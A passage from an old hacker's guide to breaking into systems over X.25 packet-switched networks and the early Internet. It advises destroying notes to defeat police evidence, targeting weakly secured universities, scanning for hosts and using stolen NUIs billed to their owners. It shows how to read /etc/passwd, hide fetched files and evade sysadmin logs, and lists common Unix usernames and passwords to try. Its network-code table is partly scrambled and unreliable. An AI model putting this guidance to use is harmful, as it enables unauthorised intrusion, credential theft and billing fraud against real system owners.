written notes! Keep all information on computer, encrypted with PGP or another military-standard encryption program. Written notes will only serve to incriminate you in a court of law. If you write something down originally, shred the paper.. itty bitty pieces is best, or even better, burn it! Feds DO trash, just like us, and throwing out your notes complete will land in their hands, and they'll use it against you. XVI. Finally, the day/night calling controversy. Some folks think it is a better idea to call during the day(or whenever the user would normally use his account) as to not arouse the sysadmin's suspicion of abnormal calling times, while others think it is better to call when nobody is around. This is a tough one, as there is no real answer. If the sysadmin keeps logs(and reads over them) he will definetly think it strange that a secretary calls in at 3 am.. he will probably then look closer and find it even stranger that the secretary then grabbed the password file and proceeded to set him/herself up with a root shell. On the other hand, if you call during the time the user would normally call, the real owner of the account may very well log in to see his name already there, or even worse be denied access because his account is already in use. In the end, it is down to your opinion. And remember, when you make a decision stick to it; remember the time zone changes. WHERE TO START ============== -------------Probably the hardest period in hacking is that of when you are first starting. Finding and penetrating your first system is a major step, and can be approached in many ways. The common ways to find a system to hack are; - UNIVERSITIES : Universities commonly have hundreds of users, many of which aren't too computer literate, which makes hacking a relatively simple chore. And security is often poor, so if you don't abuse the system too much your stay could be a long one. On the other hand, for a nominal fee you can usually pick up a cheap *legitimate* (now there's a concept) account. Or you could enroll in the university for a few credits, and just go until the accounts are handed out. Unfortunely, if you are caught hacking off your own account it won't be hard to trace it back to you. If you get a legimate account at first, you might be best to hack a student's account for your other-system hacking. The other fun part about universities is often they will provide access to a number of nets, usually including the Internet. Occasionally you'll have access to a PSN as well. - CARRIER SCANNING: Carrier scanning in your LATA(Local Access Transport Area), commonly known as wardialing, was popularized in the movie War Games. Unfortunely, there are a few problems inherent in finding systems this way; you are limited to the systems in your area, so if you have a small town you may find very little of interest, and secondly, ANI is a problem within your own LATA, and tracing is simple, making security risks high. If you are going to hack a system within your own lata, bounce it at least once. There are many programs, such as ToneLoc and CodeThief (ToneLoc being superior to all in my humble opinion), which will automate this process. - PACKET-SWITCHED : This is my favorite by far, as hacking on PSNs is how NETWORKS I learned nearly all I know. I've explored PSNs world-wide, and never ran out of systems to hack. No matter what PSN you try you will find many different, hackable systems. I will go more indepth on PSNs in the next section. PACKET-SWITCHED NETWORKS ======================== -----------------------Intro to PSNs ============= First off, PSNs are also known as PSDNs, PSDCNs, PSSs and VANs to name a few. Look up the acronyms in the handy acronym reference chart<g>. The X.25 PSNs you will hear about the most are; Sprintnet(formerly Telenet), BT Tymnet(the largest), and Datapac(Canada's largest). All these networks have advantages and disadvantages, but i'll say this; if you are in the United States, start with Sprintnet. If you are in Canada, Datapac is for you. The reason PSNs are so popular for hackers are many. There are literally thousands of systems on PSNs all around the world, all of which(if you have the right facilities) are free of charge for you to reach. And because of the immense size of public PSNs, it is a rare thing to ever get caught for scanning. Tracing is also a complicated matter, especially with a small amount of effort on your part to avoid a trace. How packet-switching works ========================== The following explanation applies for the most part to all forms of packet-switching, but is specifically about PSNs operating on the X series of protocols, such as Datapac & SprintNet, as opposed to the Internet which operates on TCP/IP. It is the same principle in essense, however. Packet-Switched Networks are kinda complicated, but I'll attempt to simplify the technology enough to make it easy to understand. You, the user, connect to the local public access port for your PSN, reachable via a phone dialup. You match communications parameters with the network host and you are ready to go. From there, all the data you send across the network is first bundled into packets, usually of 128 or 256 bytes. These packets are assembled using Packet Assembly/Disassembly, performed by the public access port, also known as a public PAD(Packet Assembler/Disassembler), or a DCE(Data Communicating Equipment or Data Circuit-Terminating Equipment). The packets are sent along the network to their destination by means of the various X protocols, standardly X.25 with help from X.28, X.29 & X.3 within your home network, and internationally using X.75/X.121. The X protocol series are the accepted CCITT standards. The host system(DTE: Data Terminal Equipment, also a PAD) which you are calling then receives the packet and disassembles the packet using Packet Assembly/Disassembly once again into data the system understands. The DTE then assembles it's data in response to your packet, and sends it back over the network to your PAD in packet form, which disassembles the packet into readable data for you, the user. And that is the simplified version! The Internet ============ Introduction -----------Contrary to popular belief, the Internet is a packet-switched network; just not an X.25 packet-switched network. The Internet operates on the TCP/IP protocols(as a rule), which is why it is sometimes disregarded as a packet-switched network. In fact, the Internet's predecessor, the ARPAnet, was the first large-scale experiment in packet-switching technology. What was then Telenet came later. The confusion comes from peoples ignorance of the principles of packet-switching, which is simply a type of network, explained in technical detail earlier. It doesn't matter what protocols the network may use, if packet-switching is in use it is obviously a packet-switched network. Ok, now you may have noticed that the Internet has a rather small section, which is true. The reasons are many. This is a hacking guide, not an Internet tutorial, so I didn't include the IRC or Archie or whatever. And the main reason is I spent about 100% more time on X.25 nets than I did the Internet. Nonetheless, I decided to include the essential aspects of the Internet. You should be able to take it from there. The following section is derived mostly from personal experience, but the Gatsby's Internet file helped out somewhat, specifically in the classes of IP addresses. Getting Access -------------- Getting access is somewhere between easy and very difficult, depending where you live and how good(or lucky!) a hacker you are. First of all, if you are going to hack on the Internet then you must be on a system that has full Internet access, not just mail. That cuts Compuserve and Prodigy out of the picture. Most universities and some high schools have Internet access, see what you can do to get yourself an account, legitimatly or not. Some BBSes offer full Internet access for a fairly reasonable price, and that would be a good choice. If you are in an area with a FreeNet, then you get full Internet access.. for free! Check around with local hackers or PD boards to inquire where the nearest FreeNet is. Some businesses provide Internet access, for a price. Check with local netters to see what local options there are. And lastly, you can try and hack your way on. When you hack a system, check and see if they are on the net. Usually this is accomplished by doing a test call using telnet.. explained later. FTP --FTP is the acronym for File Transfer Protocol, and it is the primary means of transporting remote files onto your own system(actually, usually the system which you are calling the Internet through). I will only provide a brief overview, as FTP is fairly easy to use, has help files online and comprehensive documentation offline at your local h/p BBS. First off, FTP can be initialized by typing 'ftp' at any system which has it. Most do, even if they don't have the Internet online. That a frustrating lesson more than a few novices has learned.. if you hack into a system that has FTP or telnet on line, it does not necessarily(and usually doesn't) have Internet access. Some SunOS's will have two sets of ftp and telnet utilities. The standard ftp and telnet commands can be used for local network connects, but not Internet. Another set of commands, itelnet, iftp and ifinger (and occasionally iwhois) is used for the Internet. When you enter the FTP utility, you'll usually find yourself at a 'ftp>' prompt, and typing 'help' should bring up a small set of help files. The commands available, along with the help files, vary from system to system. Procedure is then defined by what type of system you are on, as again, it varies. But what you usually do next is open a connection to the system you want to get a file off of. Type 'open' followed by the host name or IP address of the system you wish to connect to.. explained later. Next, you will usually find yourself at a sort of login prompt. If you have a username on that system, then type it in. If not, try 'anonymous'. Anonymous is a great little guest account that is now being built in to some OS's. Conscientious sysadmins may disable it, for obvious reasons. If however, it is not, you will be asked for a password. Type anything, it doesn't matter really. Type a few d's if you want, it really doesn't matter(as a rule don't sit on your keyboard though.. it may not like it.. type something boring). Next you simply use the 'get' command to get the file you want. Usually it is a good idea to not put the files in a directory that they will be noticed.. the sysadmin will suspect something is up if he runs into a few files that he supposedly copied into his own directory. Which brings us to the next segment.. give your files benign names, especially if they are something like /etc/passwd files or issues of Phrack. A note about FTPing /etc/passwds. It rarely works. Oh yes, you will get an /etc/passwd file, but rarely on the Internet will it be the real /etc/passwd. Check the size of the file first.. if it is 300 bytes or less, then it will likely be a substitute. Telnet will, however, get the real /etc/passwd on most occasions. Now quit the FTP utility and peruse your new files.. be sure to remove them when done. Telnet -----While FTP has no real parallel in X.25 networks, you could equate telnet to a private PAD. Telnet lets you connect to and operate on Internet systems over the Internet as if you were connected locally. Telnet is initialized by typing 'telnet' at your shell. The operative command is, again, 'open'. Again, type 'open' followed by the domain name or the IP address. When connected, you will be at a login prompt of some kind(usually..). Enter a username if you have one, and if not you can either attempt to hack one or see if the system accepts the 'anonymous' guest user, explained in the FTP section. If all goes well, you should have a remote connection of some kind, and what follows depends on the system you are connected to, just like in any other network. Domain Names and IP Addresses - Intro ------------------------------------For those of you unfamiliar with those terms I will give a small, condensed explanation of what the two are. One or the other is needed for connecting to a remote system, either by FTP or Telnet. The IP address could be equated to the X.25 net's Network User Address. The Domain name is a mnemonic name, used for convience more than anything, as it is generally easier to remember. If you wish to scan for systems on the Internet it is usually much easier to scan by IP address, as you won't know the mnemonic for most systems. IP addresses are 4 digit-combinations separated by dots. Address examples are 192.88.144.3(EFF) and 18.72.2.1(MIT). Addresses fall into three classes; Class A - 0 to 127 Class B - 128 to 191 Class C - 192 to 223 The earliest Internet systems are all in Class A, but it is more common to find class B or C systems. Moreover, a lot of systems are placed specifically in the 128 or 192 address prefix, as opposed to 184 or 201 or whatever. Scanning an IP address set can be accomplished in many fashions. One of which would be to pick a prefix, add two random one to two digit numbers, and scan the last portion. ie: take 192.15.43 and scan the last digit from 0 to 255. Unfortunely, the last portion (or last two portions in the case of Class C) are ports, meaning you may come up completely blank or you might hit the jack pot. Experiment to your own liking, after a while you will fall into a comfortable groove. You can also connect to specific systems using the domain name, if you know or can guess the domain name. To guess a domain name you will need to know the company or organization's name, and the type of organization it is. This is possible because host names must follow the Domain Name System, which makes guessing a lot easier. Once you have both, you can usually take a few educated guesses at the domain name. Some are easier than others. First of all, you will need to understand the principle of top-level domains. The top level is at the end of a domain name; in the case of eff.org, the top-level is 'org'. In the case of mit.edu, the top-level is 'edu'. Top levels fall into a few categories; com - commercial institutions org - non-profit organizations edu - educational facilities net - networks gov - government systems (non military) mil - non-classified military Along with various country codes. The country codes are two letters used for international calls; the US's is 'US', Brazil's is 'BR'. Determine which top-level the system falls under, and then make a few guesses. Examples are; compuserve.com xerox.com mit.edu eff.org For further reading, I suggest picking up a few of the printed Internet guides currently on the market, as well as the Gatsby's file on the Internet, printed in Phrack 33. X.25 Networks ============= From here on in the PSN section of this file is dedicated to X.25 networks. I use the acronym PSN interchangably with X.25 networks, so don't get PSN confused with all the other types of PSN networks. From here on in, it is all X.25. Network User Addresses ---------------------NUAs(Network User Addresses) are the PSNs equivalent of a phone number. They are what you need to connect to systems on PSNs around the world, and thanks to the DNIC(Data Network Identifier Code), there are no two the same. The format for entering NUAs is different from PSN to PSN. For example, on Datapac you must include 0's, but on Sprintnet 0's are not necessary. Tymnet uses 6 digits NUAs rather than the standard 8. But the standard NUA format is this; PDDDDXXXXXXXXSS,MMMMMMMMMM Where; P is the pre-DNIC digit D is the DNIC X is the NUA S is the LCN(Logical Channel Number, subaddressing) M is the Mnemonic Various segments may be omitted depending on your PSN and where you are calling. The P is commonly a 0, but is a 1 on Datapac. It is not usually even counted as part of the NUA, but must be included(usage varying) when making calls to another PSN other than your own. Within your own PSN it is not necessary to include the pre DNIC digit. The D is the DNIC also known as the DCC(Data Country Code). The DNIC is the 4 digit country code, which insures that each NUA worldwide is unique. The DNIC is only used in calling international NUAs. If you are in Datapac(DNIC 3020) you do not have to include the DNIC for Datapac when making calls to NUAs within Datapac, but if you are in another PSN you must include the DNIC for calls to Datapac. The X symbolizes the actual NUA, which along with the optional S (subaddressing) must always be included. You can simplify the NUA even greater using this format; PPPXXXXX Where P is the prefix of the NUA, and the X's are the suffix. The prefix corresponds to an Area Code in most cases in that the NUAs within that prefix are in a certain part of the country the PSN serves. In the case of Sprintnet, the prefix corresponds directly with the Area Code(ie: all NUAs in the 914 prefix on Sprintnet are in New York, and all phone numbers in the 914 Area Code are in New York). Subaddressing, S on the diagram, is a somewhat complicated thing to explain. Subaddressing is used when desired by the owner of the DTE, and is used to connect to specified system on the same NUA. You may find more than one system on the same NUA, and these can be reached using subaddresses. ie: NUA SYSTEM PPPXXXXXSS ========== =================== Ex.1 12300456 Unix Ex.2 123004561 VMS Ex.3 1230045699 HP3000 In this example, the normal NUA is 12300456(assuming DNIC and pre-DNIC digit are not used). This NUA takes you to a Unix system. But when the LCN(Logical Channel Number, subaddress) of 1 is used, you are taken to a VMS. And the subaddress of 99 takes you to a HP3000. The systems on 12300456 are all owned by the same person/company, who wished to have one NUA only, but by using subaddresses he can give access to multiple systems on a lone NUA. Subaddresses are also used occasionally as extra security. If you hit a system that gives you an error message such as 'REMOTE PROCEDURE ERROR' or 'REMOTE DIRECTIVE', you will either need a subaddress or a mnemonic. You may choose to go through the entire possible subaddresses, 1 to 99, or if you are just scanning i would suggest these: 1,2,50,51,91,98,99 Mnemonics, M, are another tricky one to explain. They are not documented by the PSNs, I discovered them on my own. Mnemonics are also used to select systems on a single NUA as a kind of port selector, but they are more commonly used as a kind of external password, which prevents you from even seeing the system in question. The same error messages as in LCNs occur for mnemonics, but again, even if you can reach a system with a standard NUA, there is a possibly a system only reachable by mnemonic exists. Here is a list of commonly used mnemonics; SYSTEM CONSOLE PAD DIAL MODEM X25 X28 X29 SYS HOST Bypassing Reverse Charging Systems: Private PADs and NUIs --------------------------------------------------------Occasionally on PSNs you will run into systems which give you the error message 'COLLECT CALL REFUSED'. This denotes a reverse-charging system. When you make a call to a system on a PSN, the call is automatically collect. But a lot of sysadmins do not want to pay for your connect charges, and if all of their users have NUIs or private PADs, it is a good idea for them to make their system reverse-charging, which saves them money, but also acts as yet another security barrier from casual snoopers. But again, this can be avoided by using a private PAD or a NUI. Before we go into the details of these, remember that a private PAD is a different thing than your public access port PAD. A private PAD is a PAD which automatically assumes all connect charges. So, the reverse charging systems will let you past the reverse charging, as you agree to accept the charges. NUI's(Network User Identifiers) work the same way. You can think of a NUI as .. say a Calling Card. The Calling Card is billed for all the charges made on it, regardless of who made them; the owner gets the bill. The NUI works the same way. NUIs are used legitimatly by users willing to accept the connect charges. But, as hackers are known to do, these NUIs get stolen and used to call all NUAs all around the world, and the legitimate owner gets the bill. But unlike CCs, you will usually get away with using a NUI. However, as you can guess, private PADs and NUIs are fairly hard to come by. If somebody manages to get ahold of one, they usually won't be willing to share it. So, it comes down to you; you probably will have to find your own. PADs are only found by scanning on PSNs, and by hacking onto systems on PSNs. There are programs on Unix and Primos systems,for example, that serve as a private PAD. And there are some private PADs that are set up solely for the purpose of being a private PAD. But, these are almost always passworded, so it is up to you to get in. NUIs are somewhat the same thing. NUIs are different from PSN to PSN, some will tell you if a NUI is wrong, letting you guess one, but others will not. And of course, you still have to guess the password. I've heard stories of people carding NUIs, but i'm not sure i quite believe it, and the safety of such a practice is questionable. Closed User Groups -----------------One of the most effective security measures i've ever seen is the CUG (Closed User Group). The CUG is what generates the 'CALL BLOCKED' message when scanning on PSNs. A CUG will only accept calls into the DTE from specified DCE NUAs. Meaning, if your NUA has not been entered into the list of acceptable NUAs, you won't be allowed to even see the system. However, CUGs aren't for everybody. If you have a system with many users that all call in from different points, CUGs are unusable. And a good thing for us. I've never heard of anyone finding a way past a CUG. I've got a few theories but.. Sprintnet --------Now i'll go a bit more into the major US and Canadian PSNs, starting with the most popular in the States, Sprintnet To find a public indial port for Sprintnet you may possibly be able to find it in your telefone book(look under Sprintnet) or by Directory Assistance. If not, try Sprintnet Customer Service at 1-800-336-0437. This also will probably only function between 8:30 and 5:00 EST, maybe a bit different. Also, for a data number for in-dial look ups try 1-800-424-9494 at communication parameters 7/E/1(or 8/N/1 also i believe). Type <CR> twice or @D for 2400bps and press enter so Sprintnet can match your communications parameters. It will display a short herald then a TERMINAL= prompt. At the TERMINAL= prompt type VT100 for VT100 terminal emulation, if you are using a personal computer i think D1 works, or just <CR> for dumb terminal. Then type "c mail", at the username prompt type "phones", and for password type "phones" again. It is menu driven from there on. Now that you have your Sprintnet public dial port number, call it up like you would a BBS, then when it connnects type the two <CR>s for 300/1200bps or the @D for 2400bps, then it will display its herald, something like: SPRINTNET(or in some cases TELENET) 123 11A (where 123 is your area code & Sprintnet's address prefix and 11A is the port you are using) TERMINAL=(type what you did previously eg:VT100,D1,<ENTER>) then when Sprintnet displays the @ prompt you know you are connected to a Sprintnet public PAD and you are ready to enter NUAs. As i mentioned before, Sprintnet NUA prefixes correspond directly with Area Codes, so to scan Sprintnet simply take an AC and suffix it with the remaining digits, usually in sequence. Since Sprintnet ignores 0's, NUAs can be as small as 4 digits. When scanning, go from lowest to highest, stopping as soon as it seems NUAs have run dry(take it a hundred NUAs further to be sure..best to take it right to 2000, maybe higher if you have time). BT Tymnet --------BT Tymnet is owned by British Telecom, and is the biggest PSN by far, but it does have some extra security. For finding Tymnet dial-ins the procedure is much the same, look in the phone book under Tymnet or BT Tymnet, or phone directory assistance and ask for BT Tymnet Public Dial Port numbers, or you can call Tymnet customer Service at 1-800-336-0149. Generally try between 8:30 and 5:00 EST. I don't have the Tymnet data number for finding in-dials, but once you are on Tymnet type INFORMATION for a complete list of in-dials as well as other things. Once you have your in-dial number set your communication parameters at either 8/N/1 or 7/E/1 then dial the number just like you would a BBS. At connect you will see a string of garbage characters or nothing at all. Press <CR> so Tymnet can match your communication parameters. You will then see the Tymnet herald which will look something like this: -2373-001please type your terminal identifier If it wants a terminal identifier press A(if you want, you can press A instead of <CR> at connect so it can match your communication parameters and get your terminal identifer all at once). After this initial part you will see the prompt: please log in: This shows Tymnet is ready for you to enter NUAs. A great deal of the NUAs on Tymnet are in plain mnemonic format however. To reach these, just enter the mnemonic you wish, nothing else(ie: CPU or SYSTEM). To enter digital NUAs you need a NUI though. Tymnet will let you know when a NUI is wrong. Just keep guessing NUIs and passwords until you find one. BUT, keep in mind, one of the biggest security features Tymnet has is this: it will kick you off after three incorrect attempts at anything. Thus, you'll have to call again and again, and if you are in a digital switching system such as ESS it is not a good idea to call anywhere an excessive amount of time. So keep it in moderation if you choose to try Tymnet. Datapac ------I am the most fond of Datapac, because I grew up on it. Nearly all the hacking i've done to this day was on Datapac or the international PSNs i've been able to reach through private PADs i've found on Datapac. To connect to the Datapac network from Canada you will need to dial into your local Datapac node, which is accessible in most cities via your local Datapac dial-in number. There are quite a few ways to find your local Datapac dial-in. It will usually be in your telephone book under "DATAPAC PUBLIC DIAL PORT". If not, you could try directory assistance for the same name. Alternatively, there are a couple phone #'s for finding your dial port(these are also customer assistance): 1-800-267-6574 (Within Canada) 1-613-781-6798 Also, these numbers function only from 8:30 to 5:00 EST(Eastern Standard Time).Also, the Datapac Information Service(DIS) at NUA 92100086 has a complete list of all public dial-ins. I think you can use both communication parameter settings work, but 8/N/1 (8 data bits, No parity, 1 stop bit) is used most frequently, so set it initially at that. Some NUA's on Datapac use 7/E/1, change to it if needed after you are connected to a Datapac dial-in. Ok,if you have your Datapac 3000 Public Indial number, you've set your communication parameters at 8/N/1, then you are now set to go. Dial your indial just like a BBS(duh..) and once connnected: You will have a blank screen; Type 3 periods and press RETURN (this is to tell Dpac to initialize itself) The Datapac herald will flash up stating: DATAPAC : XXXX XXXX (your in-dial's NUA) You are now ready to enter commands to Datapac. Example: (YOU ENTER) atdt 16046627732 (YOU ENTER) ... (DATAPAC RESPONDS) DATAPAC : 6710 1071 Now you are all set to enter the NUA for your destination. NUAs on Datapac must be 8 to 10 digits(not including mnemonics). 8 is standard, but 9 or 10 is possible depending on usage of subaddressing. NUA prefixes on Datapac are handed out in blocks, meaning they do not correspond to Area Codes, but by looking at the surrounding prefixes, you can tell where a prefix is located. When scanning on Datapac, keep in mind most of the valid NUAs are found in the low numbers, so to sample a prefix go from (example) 12300001 to 12300200. It is a good idea, however, to scan the prefix right up until 2000, the choice is yours. DNIC List --------Here is a list of the previous PSN's DNICs, and most of the other DNICs for PSNs world wide. This was taken from the DIS, with a number of my own additions that were omitted(the DIS did not include other Canadian or American PSNs). The extras DNICs came from my own experience and various BBS lists. COUNTRY NETWORK DNIC DIRECTION ------- ------- ---- --------- ANDORRA ANDORPAC 2945 BI-DIR ANTIGUA AGANET 3443 INCOMING ARGENTINA ARPAC 7220 BI-DIR ARPAC 7222 BI-DIR DATEX-P 2322 BI-DIR DATEX-P TTX 2323 BI-DIR RA 2329 BI-DIR AUSTPAC 5052 BI-DIR OTC DATA ACCESS 5053 BI-DIR AZORES TELEPAC 2680 BI-DIR BAHAMAS BATELCO 3640 BI-DIR BAHRAIN BAHNET 4263 BI-DIR BARBADOS IDAS 3423 BI-DIR BELGIUM DCS 2062 BI-DIR DCS 2068 BI-DIR DCS 2069 BI-DIR BELIZE BTLDATAPAC 7020 BI-DIR BERMUDA BERMUDANET 3503 BI-DIR BRAZIL INTERDATA 7240 BI-DIR RENPAC 7241 BI-DIR RENPAC 7248 INCOMING RENPAC 7249 INCOMING BULGARIA BULPAC 2841 BI-DIR BURKINA FASO BURKIPAC 6132 BI-DIR CAMEROON CAMPAC 6242 BI-DIR CANADA DATAPAC 3020 BI-DIR GLOBEDAT 3025 BI-DIR CNCP PACKET NET 3028 BI-DIR CNCP INFO SWITCH 3029 BI-DIR CAYMAN ISLANDS IDAS 3463 BI-DIR CHAD CHADPAC 6222 BI-DIR CHILE ENTEL 7302 BI-DIR CHILE-PAC 7303 INCOMING AUSTRIA AUSTRALIA VTRNET 7305 BI-DIR ENTEL 7300 INCOMING CHINA PTELCOM 4600 BI-DIR COLOMBIA COLDAPAQ 7322 BI-DIR COSTA RICA RACSAPAC 7120 BI-DIR RACSAPAC 7122 BI-DIR RACSAPAC 7128 BI-DIR RACSAPAC 7129 BI-DIR CUBA CUBA 2329 BI-DIR CURACAO DATANET-1 3621 BI-DIR CYPRUS CYTAPAC 2802 BI-DIR CYTAPAC 2807 BI-DIR CYTAPAC 2808 BI-DIR CYTAPAC 2809 BI-DIR DATAPAK 2382 BI-DIR DATAPAK 2383 BI-DIR DJIBOUTI STIPAC 6382 BI-DIR DOMINICAN REP. UDTS-I 3701 INCOMING EGYPT ARENTO 6020 BI-DIR ESTONIA ESTPAC 2506 BI-DIR FIJI FIJIPAC 5420 BI-DIR FINLAND DATAPAK 2441 BI-DIR DATAPAK 2442 BI-DIR DIGIPAK 2443 BI-DIR TRANSPAC 2080 BI-DIR NTI 2081 BI-DIR TRANSPAC 2089 BI-DIR TRANSPAC 9330 INCOMING TRANSPAC 9331 INCOMING TRANSPAC 9332 INCOMING TRANSPAC 9333 INCOMING TRANSPAC 9334 INCOMING TRANSPAC 9335 INCOMING TRANSPAC 9336 INCOMING TRANSPAC 9337 INCOMING TRANSPAC 9338 INCOMING DENMARK FRANCE TRANSPAC 9339 INCOMING FR ANTILLIES TRANSPAC 2080 BI-DIR FR GUIANA TRANSPAC 2080 BI-DIR FR POLYNESIA TOMPAC 5470 BI-DIR GABON GABONPAC 6282 BI-DIR GERMANY F.R. DATEX-P 2624 BI-DIR DATEX-C 2627 BI-DIR HELPAK 2022 BI-DIR HELLASPAC 2023 BI-DIR GREENLAND KANUPAX 2901 BI-DIR GUAM LSDS-RCA 5350 BI-DIR PACNET 5351 BI-DIR GUATEL 7040 INCOMING GUATEL 7043 INCOMING HONDUTEL 7080 INCOMING HONDUTEL 7082 BI-DIR HONDUTEL 7089 BI-DIR INTELPAK 4542 BI-DIR DATAPAK 4545 BI-DIR INET HK 4546 BI-DIR DATEX-P 2160 BI-DIR DATEX-P 2161 BI-DIR ICELAND ICEPAK 2740 BI-DIR INDIA GPSS 4042 BI-DIR RABMN 4041 BI-DIR I-NET 4043 BI-DIR INDONESIA SKDP 5101 BI-DIR IRELAND EIRPAC 2721 BI-DIR EIRPAC 2724 BI-DIR ISRAEL ISRANET 4251 BI-DIR ITALY DARDO 2222 BI-DIR ITAPAC 2227 BI-DIR IVORY COAST SYTRANPAC 6122 BI-DIR JAMAICA JAMINTEL 3380 INCOMING JAPAN GLOBALNET 4400 BI-DIR DDX 4401 BI-DIR GREECE GUATEMALA HONDURAS HONG KONG HUNGARY NIS-NET 4406 BI-DIR VENUS-P 4408 BI-DIR VENUS-P 9955 INCOMIMG VENUS-C 4409 BI-DIR NI+CI 4410 BI-DIR KENYA KENPAC 6390 BI-DIR KOREA REP HINET-P 4500 BI-DIR DACOM-NET 4501 BI-DIR DNS 4503 BI-DIR KUWAIT BAHNET 4263 BI-DIR LEBANON SODETEL 4155 BI-DIR LIECHTENSTEIN TELEPAC 2284 BI-DIR TELEPAC 2289 BI-DIR LUXPAC 2704 BI-DIR LUXPAC 2709 BI-DIR MACAU MACAUPAC 4550 BI-DIR MADAGASCAR INFOPAC 6460 BI-DIR MADEIRA TELEPAC 2680 BI-DIR MALAYSIA MAYPAC 5021 BI-DIR MAURITIUS MAURIDATA 6170 BI-DIR MEXICO TELEPAC 3340 BI-DIR MOROCCO MOROCCO 6040 BI-DIR MOZAMBIQUE COMPAC 6435 BI-DIR NETHERLANDS DATANET-1 2040 BI-DIR DATANET-1 2041 BI-DIR DABAS 2044 BI-DIR DATANET-1 2049 BI-DIR N. MARIANAS PACNET 5351 BI-DIR NEW CALEDONIA TOMPAC 5460 BI-DIR NEW ZEALAND PACNET 5301 BI-DIR NIGER NIGERPAC 6142 BI-DIR NORWAY DATAPAC TTX 2421 BI-DIR DATAPAK 2422 BI-DIR DATAPAC 2423 BI-DIR PAKISTAN PSDS 4100 BI-DIR PANAMA INTELPAQ 7141 BI-DIR LUXEMBOURG INTELPAQ 7142 BI-DIR PAPUA-NEW GUINEA PANGPAC 5053 BI-DIR PARAGUAY ANTELPAC 7447 BI-DIR PERU DICOTEL 7160 BI-DIR PHILIPPINES CAPWIRE 5150 INCOMING CAPWIRE 5151 BI-DIR PGC 5152 BI-DIR GLOBENET 5154 BI-DIR ETPI 5156 BI-DIR POLAND POLAK 2601 BI-DIR PORTUGAL TELEPAC 2680 BI-DIR SABD 2682 BI-DIR UDTS 3300 BI-DIR UDTS 3301 BI-DIR QATAR DOHPAC 4271 BI-DIR REUNION (FR) TRANSPAC 2080 BI-DIR RWANDA RWANDA 6352 BI-DIR SAN MARINO X-NET 2922 BI-DIR SAUDI ARABIA ALWASEED 4201 BI-DIR SENEGAL SENPAC 6081 BI-DIR SEYCHELLES INFOLINK 6331 BI-DIR SINGAPORE TELEPAC 5252 BI-DIR TELEPAC 5258 BI-DIR SOLOMON ISLANDS DATANET 5400 BI-DIR SOUTH AFRICA SAPONET 6550 BI-DIR SAPONET 6551 BI-DIR SAPONET 6559 BI-DIR TIDA 2141 BI-DIR IBERPAC 2145 BI-DIR SRI-LANKA DATANET 4132 BI-DIR SWEDEN DATAPAK TTX 2401 BI-DIR DATAPAK-2 2403 BI-DIR DATAPAK-2 2407 BI-DIR TELEPAC 2284 BI-DIR TELEPAC 2285 BI-DIR TELEPAC 2289 BI-DIR PUERTO RICO SPAIN SWITZERLAND TAIWAN PACNET 4872 BI-DIR PACNET 4873 BI-DIR UDAS 4877 BI-DIR TCHECOSLOVAKA DATEX-P 2301 BI-DIR THAILAND THAIPAC 5200 BI-DIR IDAR 5201 BI-DIR TONGA DATAPAK 5390 BI-DIR TOGOLESE REP. TOGOPAC 6152 BI-DIR TORTOLA IDAS 3483 INCOMING TRINIDAD DATANETT 3745 BI-DIR TEXTET 3740 BI-DIR TUNISIA RED25 6050 BI-DIR TURKEY TURPAC 2862 BI-DIR TURPAC 2863 BI-DIR TURKS&CAICOS IDAS 3763 INCOMING U ARAB EMIRATES EMDAN 4241 BI-DIR EMDAN 4243 BI-DIR TEDAS 4310 INCOMING URUPAC 7482 BI-DIR URUPAC 7489 BI-DIR USSR IASNET 2502 BI-DIR U.S.A. WESTERN UNION 3101 BI-DIR MCI 3102 BI-DIR ITT/UDTS 3103 BI-DIR WUI 3104 BI-DIR BT-TYMNET 3106 BI-DIR SPRINTNET 3110 BI-DIR RCA 3113 BI-DIR WESTERN UNION 3114 BI-DIR DATAPAK 3119 BI-DIR PSTS 3124 BI-DIR UNINET 3125 BI-DIR ADP AUTONET 3126 BI-DIR COMPUSERVE 3132 BI-DIR AT&T ACCUNET 3134 BI-DIR FEDEX 3138 BI-DIR URUGUAY NET EXPRESS 3139 BI-DIR SNET 3140 BI-DIR BELL SOUTH 3142 BI-DIR BELL SOUTH 3143 BI-DIR NYNEX 3144 BI-DIR PACIFIC BELL 3145 BI-DIR SWEST BELL 3146 BI-DIR U.S. WEST 3147 BI-DIR CENTEL 3148 BI-DIR FEDEX 3150 BI-DIR U.S. VIRGIN I UDTS 3320 BI-DIR U. KINGDOM IPSS-BTI 2341 BI-DIR PSS-BT 2342 BI-DIR GNS-BT 2343 BI-DIR MERCURY 2350 BI-DIR MERCURY 2351 BI-DIR HULL 2352 BI-DIR VANUATU VIAPAC 5410 BI-DIR VENEZUELA VENEXPAQ 7342 BI-DIR YUGOSLAVIA YUGOPAC 2201 BI-DIR ZIMBABWE ZIMNET 6484 BI-DIR SYSTEM PENETRATION ================== -----------------Ok, now that you've hopefully found some systems, you are going to need to know how to identify and, with any luck, get in these newfound delights. What follows is a list of as many common systems as i could find. The accounts listed along with it are not, per say, 'defaults'. There are very few actual defaults. These are 'common accounts', in that it is likely that many of these will be present. So, try them all, you might get lucky. The list of common accounts will never be complete, but mine is fairly close. I've hacked into an incredible amount of systems, and because of this I've been able to gather a fairly extensive list of common accounts. Where I left the password space blank, just try the username(and anything else you want), as there are no common passwords other than the username itself. And also, in the password space I never included the username as a password, as it is a given in every case that you will try it. And remember, passwords given are just guidelines, try what you want. UNIX- Unix is one of the most widespread Operating Systems in the world; if you scan a PSN, chances are you'll find a number of Unixes, doesn't matter where in the world the PSN resides. The default login prompt for a unix system is 'login', and while that cannot be changed, additional characters might be added to preface 'login', such as 'rsflogin:'. Hit <CR> a few times and it should disappear. Because UNIX is a non-proprietary software, there are many variants of it, such as Xenix, SCO, SunOS, BSD, etc.., but the OS stays pretty much the same. As a rule, usernames are in lowercase only, as are passwords, but Unix is case sensitive so you might want to experiment if you aren't getting any luck. You are generally allowed 4 attempts at a login/password, but this can be increased or decreased at the sysadmins whim. Unfortunely, UNIX does not let you know when the username you have entered is incorrect. UNIX informs the user of when the last bad login attempt was made, but nothing more. However, the sysadmin can keep logs and audit trails if he so wishes, so watch out. When inside a UNIX, type 'cat /etc/passwd'. This will give you the list of usernames, and the encrypted passwords. The command 'who' gives a list of users online. 'Learn' and 'man' bring up help facilities. Once inside, you will standardly receive the prompt $ or % for regular users, or # for superusers. The root account is the superuser, and thus the password could be anything, and is probably well protected. I left this blank, it is up to you. There won't be any common passwords for root. COMMON ACCOUNTS: Username Password -------- -------- root daemon adm admin, sysadm, sysadmin, operator, manager uucp bin sys 123 lotus, lotus123 adduser admin 